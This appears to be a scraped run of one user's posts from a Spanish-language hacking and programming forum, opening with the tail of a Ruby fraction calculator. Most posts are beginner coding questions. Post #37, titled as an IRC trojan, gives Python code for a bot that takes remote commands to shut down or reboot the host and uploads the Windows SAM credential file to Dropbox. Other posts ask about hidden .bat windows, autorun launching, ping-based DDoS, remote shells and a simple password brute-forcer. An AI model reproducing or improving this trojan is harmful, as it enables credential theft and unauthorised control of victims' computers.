he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ac = ha-he-hi
elsif el == 3
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], b, c, d, f, g, h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
ac = ha-he-hi-ho
elsif el == 4
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], lista2[2], c, d, f, g, h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
hu = (bd/lista2[2])*lista[2]
ac = ha-he-hi-ho-hu
elsif el == 5
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], lista2[2], lista4[2], d, f, g, h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
hu = (bd/lista2[2])*lista[2]
hau = (bd/lista4[2])*lista3[2]
ac = ha-he-hi-ho-hu-hau
elsif el == 6
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], lista2[2], lista4[2], lista2[3], f, g, h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
hu = (bd/lista2[2])*lista[2]
hau = (bd/lista4[2])*lista3[2]
hae = (bd/lista2[3])*lista[3]
ac = ha-he-hi-ho-hu-hau-hae
elsif el == 7
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], lista2[2], lista4[2], lista2[3], lista4[3], g, h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
hu = (bd/lista2[2])*lista[2]
hau = (bd/lista4[2])*lista3[2]
hae = (bd/lista2[3])*lista[3]
hai = (bd/lista4[3])*lista[3]
ac = ha-he-hi-ho-hu-hau-hae-hai
elsif el == 8
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], lista2[2], lista4[2], lista2[3], lista4[3], lista2[4], h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
hu = (bd/lista2[2])*lista[2]
hau = (bd/lista4[2])*lista3[2]
hae = (bd/lista2[3])*lista[3]
hai = (bd/lista4[3])*lista3[3]
hao = (bd/lista2[4])*lista[4]
ac = ha-he-hi-ho-hu-hau-hae-hai-hao
elsif el == 9
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], lista2[2], lista4[2], lista2[3], lista4[3], lista2[4], lista4[4])
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
hu = (bd/lista2[2])*lista[2]
hau = (bd/lista4[2])*lista3[2]
hae = (bd/lista2[3])*lista[3]
hai = (bd/lista4[3])*lista3[3]
hao = (bd/lista2[4])*lista[4]
hau = (bd/lista4[4])*lista3[4]
ac = ha-he-hi-ho-hu-hau-hae-hai-hao-hau
end
end



else eleccion == 4
puts "dame lo primero".red
print ">".blue
af = gets.chomp.to_i
puts "-".red
print ">".blue
bf = gets.chomp.to_i
puts "\n"
puts "dame lo segundo".red
print ">".blue
cf = gets.chomp.to_i
puts "-".red
print ">".blue
df = gets.chomp.to_i
ac = af*df
bd = bf*cf

end
puts "El resultado es: ".red
puts """
#{ac}
---
#{bd} 
""".blue
end

#29
Hola estaba haciendo un pequeño script de fuerza bruta para despues implementarlo con cualquiercosa,pero me da este error
Traceback (most recent call last):
  File "ssh.py", line 18, in <module>
    if diccionario[a]+diccionario2 == "je":
IndexError: list index out of range

Y el script es este:
Código: python
diccionario = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
comp = True
hola = "je"
a = 0
b = 0
while comp == True:
if diccionario[b] == hola:
comp = False
else:
a = a +1
if a == 28:
comp = False
a = 0
b = 0
comp = True
while comp == True:
if diccionario[a]+diccionario[b] == hola:
comp = False
else:
b = b +1
if b == 28:
b = 0
a = a+1

print "pass encontrada"
print diccionario[a]+diccionario[b]


Ayuda por favor,soy consciente de que solo llega hasta las 2 cifras pero no queria continuar estando mal :'( :'(
#30
Como puedo hacer una imagen forense con un bat para ponerlo en un disco duro externo y alconectarlo se inicie (con autorun.inf) en windows
#31
Probe con \n pero no funciona :'(
#32
Cómo podría comprimir una carpeta desde el cmd o por python?
#33
como se puede convertir un .py a .exe en ubuntu y que se pueda ejecutar en windows el .exe?
#34
Cómo podria hacer que un .bat cuando se inicie no se vea la ventana??
#35
Cuando se hace ping se esta generando trafico hacia una pagina web?Se puede hacer para un ataque DDos??
#36
Hola,tengo una duda:

Cómo podría coger lo que el usuario escribe en un chat irc, y printearlo en el chat con un bot irc hecho en python con la librería socket?? :'(
#37
Python / Troyano IRC
Septiembre 12, 2016, 01:07:06 PM
Hola hoy he hecho este pequeño script y no se que mas ponerle para que no sea tan cortito
Código: python
import sys
import time
import socket
import os
import dropbox
import datetime
server=" irc.ejemplo.net"#el servidor irc tullo
botnick="botejemplo"#el nombre dela maquina
channel="#ejeplo"#canal
client = dropbox.client.DropboxClient('Tu token')#Tu token para subirlo a dropbox(si quieres)
suffix = datetime.datetime.now().strftime("%Y-%m-%d-%H-%M-%S")
p = "sam"+suffix+".bin"
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
irc.connect((server,6667))
irc.setblocking(False)
time.sleep(1)
irc.send("USER "+botnick+" "+botnick+" "+botnick+" :Hola soy un bot!\r\n")
time.sleep(1)
irc.send("NICK "+botnick+"\n")
time.sleep(1)
irc.send("JOIN "+channel+"\n")

while 1:
     time.sleep(0.1)
     try:
          text=irc.recv(2040)
          print(text)
     except Exception:
          pass
     if text.find("PING")!=-1:
          irc.send("PONG "+text.split()[1]+"\r\n")
     if text.lower().find(":@apaga")!=-1:
          os.system('shutdown -P')#para apagar la pc
     if text.lower().find(":@reinicia")!=-1:
          os.system('shutdown -r')#para reiniciarla
      if text.lower().find(":@passthehash")!=-1:
           f = open ('C:\Windows\system32\config\sam')#para abrir sam
           client.put_file(p, f)#para subirlo a dropbox
 
     text=""
input()

que mas le  puedo poner y solucionar para que sea mejor? ;) ;)
#38
hola, he estado buscando informacion sobre inteligencia artificial con python y no he encontrado nada,podeis ayudarme :'( :'( :'(
#39
Como podria obtener una shell remota con c++?
#40
Hola tengo este error y no se porque me da este error:
okemon.cpp: In function 'int main()':
pokemon.cpp:8:2: error: 'cout' was not declared in this scope
  cout<<"Batalla inicializada"<<endl;
  ^
pokemon.cpp:8:2: note: suggested alternative:
In file included from pokemon.cpp:1:0:
/usr/include/c++/5/iostream:61:18: note:   'std::cout'
   extern ostream cout;  /// Linked to standard output
                  ^
pokemon.cpp:8:32: error: 'endl' was not declared in this scope
  cout<<"Batalla inicializada"<<endl;
                                ^
pokemon.cpp:8:32: note: suggested alternative:
In file included from /usr/include/c++/5/iostream:39:0,
                 from pokemon.cpp:1:
/usr/include/c++/5/ostream:590:5: note:   'std::endl'
     endl(basic_ostream<_CharT, _Traits>& __os)
     ^
pokemon.cpp:12:70: error: 'cin' was not declared in this scope
   cout<<"Elije tu ataque:\n1:impactrueno:55\n2:esquivar\n3:rayo:45"; cin>>respuesta;
                                                                      ^
pokemon.cpp:12:70: note: suggested alternative:
In file included from pokemon.cpp:1:0:
/usr/include/c++/5/iostream:60:18: note:   'std::cin'
   extern istream cin;  /// Linked to standard input
                  ^
pokemon.cpp:47:3: error: 'else' without a previous 'if'
   else if (num == 2 && esquivar_pikachu == false){
   ^

Y este es el codigo:
Código: cpp
#include <iostream>
#include <time.h>

int vida_pikachu = 100,impactrueno = 55, esquivar_p = 0, rayo = 45, vida_ash = 100, ataque1 = 45, ataque2= 39, esquivar_a = 0, respuesta = 0, num = 0;
bool esquivar_pikachu = false, esquivar = false;
int main(){

cout<<"Batalla inicializada"<<endl;
while(vida_pikachu > 0 && vida_ash > 0){

cout<<"Turno de pikachu"<<endl;
cout<<"Elije tu ataque:\n1:impactrueno:55\n2:esquivar\n3:rayo:45"; cin>>respuesta;
if (respuesta == 1 && esquivar == false){
vida_ash = vida_ash - impactrueno;
cout<<"Usaste impactrueno"<<endl;
cout<<"La vida actual de ash es: "<<vida_ash<<endl;

}
else if (respuesta == 2 && esquivar == false)
{
vida_ash = vida_ash - esquivar_p;
cout<<"Usaste esquivar"<<endl;
cout<<"La vida actual de ash es: "<<vida_ash<<endl;

}
else if (respuesta == 3 && esquivar == false)
{
vida_ash = vida_ash - rayo;
cout<<"Usaste rayo"<<endl;
cout<<"La vida actual de ash es: "<<vida_ash<< endl;

}else{
cout<<"ash uso esquivar y esquivo tu ataque"
esquivar = false;

}

cout<<"Turno de ash"<<endl;
cout<<"Elije su ataque:\n1:impactrueno:45\n2:esquivar\n3:rayo:39"
if (num == 1 && esquivar_pikachu == false)
{
vida_pikachu = vida_pikachu - ataque1;
cout<<"Ash uso ataque1"<<endl;
cout<<"La vida actual de pikachu es: "<<vida_pikachu<<endl;

}
else if (num == 2 && esquivar_pikachu == false){
vida_pikachu = vida_pikachu - esquivar_a;
cout<<"Ash uso esquivar"<<endl;
cout<<"La vida actual de pikachu es: "<<vida_pikachu<<endl;

}
else if(num == 3 && esquivar_pikachu == false){
vida_pikachu = vida_pikachu - ataque2;
cout<<"Ash uso ataque2"<<endl;
cout<<"La vida actual de pikachu es: "<<vida_pikachu<<endl;

}else{
esquivar_pikachu = false;
cout<<"pikachu uso esquivar y esquivo tu ataque"

}
if (vida_pikachu == 0){
cout<<"Gano ash!!"<<endl;

}
else if(vida_ash == 0){
cout<<"Gano pikachu"<<endl;

}

}
return 0;
}